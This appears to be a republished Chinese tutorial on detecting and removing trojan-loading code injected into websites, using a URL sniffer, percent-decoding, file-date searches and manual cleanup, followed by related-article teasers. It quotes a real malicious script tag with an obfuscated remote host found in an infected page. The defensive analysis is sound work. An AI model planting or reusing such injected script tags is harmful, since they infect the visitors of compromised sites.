网站挂马检测与清除

news/2024/5/11 19:38:10/文章来源:https://blog.csdn.net/weixin_34122548/article/details/85166588
网站挂马检测与清除
陈小兵
据不完全统计,90%的网站都被挂过马,挂马是指在获取网站或者网站服务器的部分或者全部权限后,在网页文件中插入一段恶意代码,这些恶意代码主要是一些包括IE等漏洞利用代码,用户访问被挂马的页面时,如果系统没有更新恶意代码中利用的漏洞补丁,则会执行恶意代码程序,进行盗号等危险超过。目前挂马主要是为了商业利益,有的挂马是为了赚取流量,有的是为了盗取游戏等账号,也有的是为了好玩,不管是处于那种目的,对于访问被挂马的网站来说都是一种潜在的威胁,影响运营网站公司形象。
当一个网站运营很长时间后,网站文件会非常多,手工查看网页文件代码非常困难,杀毒软件仅仅对恶意代码进行查杀,对网页***以及挂马程序不一定全部查杀,本文就如何利用一些安全检测工具软件来检测和清除网站***方面进行探讨,使用本文提及的工具可以很轻松的检测网站是否被挂马。
    一、检测网页***程序
   1.安装urlsnooper 软件
   Urlsnooper是一款URL嗅探工具,其官方主页地址为:[url]http://www.donationcoder.com/urlsnooper[/url],安装非常简单,按照提示进行安装即可。第一次使用时需要程序会自动检查网卡,查看能否正常连接网络,设置正确无误后,应该出现如图1所示的画面。
<?xml:namespace prefix = v ns = "urn:schemas-microsoft-com:vml" /><?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" />
1 安装正确后的界面
注意:
   如果未出现图1所示界面,说明程序设置存在问题,笔者在测试时使用发现该程序无法检测无线网卡,因此无法在无限网络中使用。
   2.对网站进行侦测
  Urlsnooper中的“Protocol Filter”中选择“Show All”,然后单击“Sniff Network”按钮开始监听网络。接着使用IE浏览器打开需要进行检测***的网站,Urlsnooper会自动抓取网站中的所有连接,在Index中按照五位数字序号进行排列,如图2所示。
2 监听结果
说明:
在侦测结果中可能包含的连接地址非常多,这个时候就需要进行排查,可以选中每一个记录,Urlsnooper会在下方中显示详细的监听结果,如图2所示,就发现存在一段挂马代码:<script src=http://%61%76%65%31%2E%63%6E></script>
在百度搜索中对其进行搜索,如图3所示,有30多项搜索结果,从查询结果可以辅佐证明该段代码为挂马代码。
3 搜索结果
说明:要善于运用网络搜索引擎,通过搜索可以知道目前关于该问题的描述和解决方法等。
3.对地址进行解码
该地址采用了一种编码,我对常用的这种编码值进行了整理,如下表所示,从中可以找出该代码中的真实地址为[url]http://ave1.cn[/url]

 

1 编码对应表
原值

解码前的值

原值

解码前的值

原值

解码前的值

backspace
%08
I
%49
%75
tab
%09
J
%<?xml:namespace prefix = st1 ns = "urn:schemas-microsoft-com:office:smarttags" />4A
%76
linefeed
%0A
K
%4B
w
%77
creturn
%0D
L
%4C
x
%78
space
%20
M
%4D
y
%79
!
%21
N
%4E
%7A
"
%22
O
%4F
{ 
%7B
#
%23
P
%50
%7C
$
%24
Q
%51
}
%7D
%
%25
R
%52

 

 

&
%26
S
%53

 

 

'
%27
T
%54

 

 

(
%28
U
%55

 

 

)
%29
V
%56

 

 

*
%2A
W
%57

 

 

+
%2B
X
%58

 

 

,
%2C
Y
%59

 

 

-
%2D
Z
%5A

 

 

.
%2E
[
%5B

 

 

/
%2F
\
%5C

 

 

0
%30
]
%5D

 

 

1
%31
^
%5E

 

 

2
%32
_
%5F

 

 

3
%33
`
%60

 

 

4
%34
a
%61

 

 

5
%35
b
%62

 

 

6
%36
c
%63

 

 

7
%37
d
%64

 

 

8
%38
e
%65

 

 

9
%39
f
%66

 

 

:
%3A
g
%67

 

 

;
%3B
h
%68

 

 

<

 

%3C
i
%69

 

 

=
%3D
j
%6A

 

 

>

 

%3E
k
%6B

 

 

?
%3F
l
%6C

 

 

@
%40
m
%6D

 

 

A
%41
n
%6E

 

 

B
%42
o
%6F

 

 

C
%43
p
%70

 

 

D
%44
q
%71

 

 

E
%45
r
%72

 

 

F
%46
s
%73

 

 

G
%47
t
%74

 

 

H
%48
u
%75

 

 

4.获取该网站相关内容
可以使用Flashget的资源管理器去获取该网站的内容,如图4所示,打开Flashget下载工具,单击“工具”-“站点资源探索器”,打开站点资源探索器,在地址中输入“[url]http://ave1.cn[/url]”,然后回车即可获取该网站的一些资源,在站点资源探索器中可以直接下载看见的文件,下载到本地进行查看。
4 使用“站点资源探索器”获取站点资源
说明:
使用“Flashget站点资源探索器”可以很方便的获取挂马者代码地址中的一些资源,这些资源可能是挂马的真实代码,透过这些代码可以知道挂马者是采用哪个漏洞,有时候还可以获取0day
在本例中由于时间较长,挂马者已经撤销了原来的挂马程序文件,在该网站中获取的html文件没有用处,且有些文件已经不存在了,无法对原代码文件进行分析。
二、清除网站中的恶意代码(挂马代码)
1.确定挂马文件
清除网站恶意代码首先需要知道哪些文件被挂马了,判断方法有三个,方法一就是通过直接查看代码,从中找出挂马代码;方法二是通过查看网站目录修改时间,通过时间进行判断;方法三使用本文提到的软件进行直接定位,通过监听找出恶意代码。在本案例中,网站首页是被确认挂马了,通过查看时间知道被挂马时间是825左右,因此可以通过使用资源管理器中的搜索功能,初步定位时间为82426日,搜索这个时间范围修改或者产生的文件,如图5,图6所示,搜索出来几十个这个时间段的文件。
5 搜索被修改文件
6 搜索结果
2.清除恶意代码
可以使用记事本打开代码文件从中清除恶意代码,在清除代码时一定要注意不要使用FrontPage的预览或者设计,否则会直接访问挂马网站,感染***程序。建议使用记事本等文本编辑器。在清除恶意代码过程中,发现挂马者竟然对js文件也不放过,如图7所示。
7 js文件进行挂马
技巧:
可以使用Frontpage中的替换功能替换当前站点中的所有指定代码。
总结
本文操作简单,写起来比较复杂,关键在于使用urlsnooper软件定位挂马网页文件,然后就是对挂马代码(恶意代码)进行分析,最后是手工活,清除网站中的恶意代码。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_716286.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

微软ASP.NET网站部署指南(9):部署数据库更新

1. 综述 无论什么时候&#xff0c;程序都有可能像代码更新一样更新数据库。本章节你将进行数据库改动&#xff0c;測试。然后部署到測试环境和生产环境。 提醒&#xff1a;假设依据本章节所做的操作出现错误信息或一些功能不正常的话&#xff0c;请务必check Troubleshooting页…

网络连接异常、网站服务器失去响应_[pc玩家]Windows10中打不开网站的问题怎么解决?...

当用户在浏览器中输入网站的域名时&#xff0c;此时将发送请求到DNS服务器以识别连接到该主机名的IP地址&#xff0c;只有正确解析了IP地址才会打开你想要访问的网站。但有时你会收到一个错误消息&#xff0c;告诉你DNS服务器没有响应。要解决这个问题&#xff0c;你可以尝试几…

此网站无法提供安全连接_怎么设置服务器才能更安全呢

作为网站的优化人员来说&#xff0c;网站的排名不稳定&#xff0c;其中有网站服务器不稳定的安全原因&#xff0c;所以在我们选择服务器的时候就要选择那些知名的主机商&#xff0c;同时在服务器的搭建上要进行有必要的设置&#xff0c;才能让服务器更安全。一、最精简的安装和…

收藏!这37个自学网站,一年让你省下十几万

一.综合类 1、学堂在线 学堂在线运行了包括包括清华大学、北京大学、复旦大学、斯坦福大学、麻省理工学院、加州大学伯克利分校等国内外几十所顶尖高校的优质课程。 2、MOOC网 中国大学MOOC(慕课)是爱课程网携手云课堂打造的在线学习平台,每一个有提升愿望的人,都可以在这里…

写给那些ASP.NET程序员:网站中的安全问题

在网络经常看到网站被挂马、主页被修改的新闻&#xff0c;其实这些问题可能是多方面的&#xff0c;服务器&#xff0c;网站程序等等。。。但是现在溢出已经被人们重视和服务器的不断完善&#xff0c;服务器系统漏洞也不是那么容易发掘&#xff0c;当然也要保证第三方的软件安全…

LogParser的IIS网站分析技巧

日志分析&#xff0c;特别是IIS日志&#xff0c;一般人都会想到LogParser工具&#xff0c;的确很强。但是命令行的操作界面令很多非专业的管理人员望而生畏&#xff0c;现在好了&#xff0c;有一个可视化的LogParser的UI工具可以使用了&#xff01; Log Parser Lizard 1.1&…

来了,又一个新的SQL刷题网站!

大家好&#xff0c;我是小五????毋庸置疑&#xff0c;SQL是数据分析师需要掌握的一个基本的技能。之前我也分享过几个SQL在线学习网&#xff0c;比如SQLZOO、XUESQL、w3resourc等。当然&#xff0c;除了学习网站还有面试刷题的网站&#xff0c;比如Leetcode、牛客网等。今天…

网站站长必须知道的两种重定向方式

网站重定向技术是每个网站站长必须知道的&#xff0c;在网站改版&#xff0c;或网站搬家的时候一定会用得上网页重定向这个技术&#xff01;现在我和大家分享网站站长必须知道的两种重定向方式! 下面我们首先来了解一下两种重定向方式的区别&#xff1a;1、什么时候我应该使用r…

网站运营,先分清web1.0与web2.0「社区运营入门系列①」

大概在八年前&#xff0c;和朋友聊天时提及Web2.0&#xff0c;这是我第一次听到这个名词。当时不记得他是怎么解释这个名词的&#xff0c;只留下了一个印象&#xff1a;这将是今后互联网的大趋势。回去后我立即就百度了一下&#xff0c;一看不要紧&#xff0c;顿时就晕菜了&…

租个服务器自己写自己的网站,自己写一个web服务器(1)

web服务器一个运行在物理服务器上的网络服务器&#xff0c;它等待客户端发送的请求。当它收到一个请求&#xff0c;它会生成一个回复并传回到客户端。一个客户端和服务器的通信可以通过HTTP协议实现。HelloWorld# coding: utf-8import socketHOST, PORT , 8888listen_socket …

移动虚拟服务器,移动网站需要什么样的虚拟主机空间

移动互联网现在发展的越来越快&#xff0c;随着智能手机的普及&#xff0c;几乎是所有的人都可以使用移动端搜索需要的内容。因此现在越来越多的企业开始注重移动端的网站。那么&#xff0c;我们如果要搭建移动网站需要怎样的虚拟主机空间呢&#xff1f;移动网站需要什么样的虚…

在 Web 服务器或网站上配置 SSL

可以在 Web 服务器或网站上配置安全套接字层 (SSL) 安全功能以检验内容完整性、用户标识和加密网络传输。 Important 只有本地计算机上 Administrators 组的成员才能执行以下过程。作为安全性最佳操作&#xff0c;请使用不属于 Administrators 组的帐户登录计算机&#xff0c;然…

为网站配置SSL

从StartSll申请免费的SSL证书,该网站只支持IE,FireFox,Opera,Safari浏览器,并且注册成功后是以证书来登陆. 注册地址:https://www.startssl.com/?app12 注:注册过程中不要关闭浏览器. 第一步:填写注册信息,注意地址需要详细.如果地址信息不全,会人工发邮件给你,让你发详细地址…

越狱的 iPhone、iPad 通过网站实现一键安装 ipa 格式的 APP 应用

1、已经 越狱 的 iPhone、iPad 设备&#xff0c;当通过其自带的 safari 浏览器访问 ipa 应用下载网站时&#xff0c;利用 itms-services 协议&#xff0c;可以一键安装 ipa 文件的 iOS 应用&#xff0c;例如&#xff1a;<a href"itms-services://?actiondownload-mani…

如何更有效使用 Rational AppScan 扫描大型网站

http://www.ibm.com/developerworks/cn/rational/r-cn-appscanlargewebsite1/index.html Rational AppScan 工作原理 Rational AppScan&#xff08;简称 AppScan&#xff09;其实是一个产品家族&#xff0c;包括众多的应用安全扫描产品&#xff0c;从开发阶段的源代码扫描的 Ap…

让你的网站在IE8的兼容模式下运行

众所周知&#xff0c;微软的Internet Explorer团队一直在致力于将IE8打造为最符合业内标准的浏览器&#xff0c;所不幸的是&#xff0c;当前并非所有的网站都认同这些标准。如果你担心你的网站在IE8的标准模式下不能正常工作的话&#xff0c;下面这些方法也许对你有所帮助&…

bootstrap4 网格布局实例_网站设计师的10个糟糕网页设计实例和常见错误

本文讨论了10个糟糕的网页设计示例和常见错误&#xff0c;以帮助网站设计人员更好地了解好的和坏的网页设计之间的区别。在我们开始之前&#xff0c;我有一个问题&#xff1a;设计网站时&#xff0c;你的首要任务是什么&#xff1f;是吸引人的外观&#xff1f;还是酷炫的效果&a…

建站之星最新0DAY

作者&#xff1a;honker90 //code public function save_profile() {$user_info ParamHolder::get(user, array());//获取数组if (sizeof($user_info) < 0) {$this->assign(json, Toolkit::jsonERR(__(Missing user information!)));return _result;}$passwd_changed f…

配置squid 反向代理提高网站性能

本文旨在介绍 squid 反向代理的工作原理的基础上&#xff0c;指出反向代理技术在提高网站访问速度&#xff0c;增强网站可用性、安全性方面有很好的用途。 现在有许多大型的门户网站都采用 squid 反向代理技术来加速网站的访问速度&#xff0c;可将不同的URL请求分发到后台不同…

网站统计中的数据收集原理及实现

网站统计中的数据收集原理及实现 网站数据统计分析工具是网站站长和运营人员经常使用的一种工具&#xff0c;比较常用的有谷歌分析、百度统计和腾讯分析等等。所有这些统计分析工具的第一步都是网站访问数据的收集。目前主流的数据收集方式基本都是基于javascript的。本文将简要…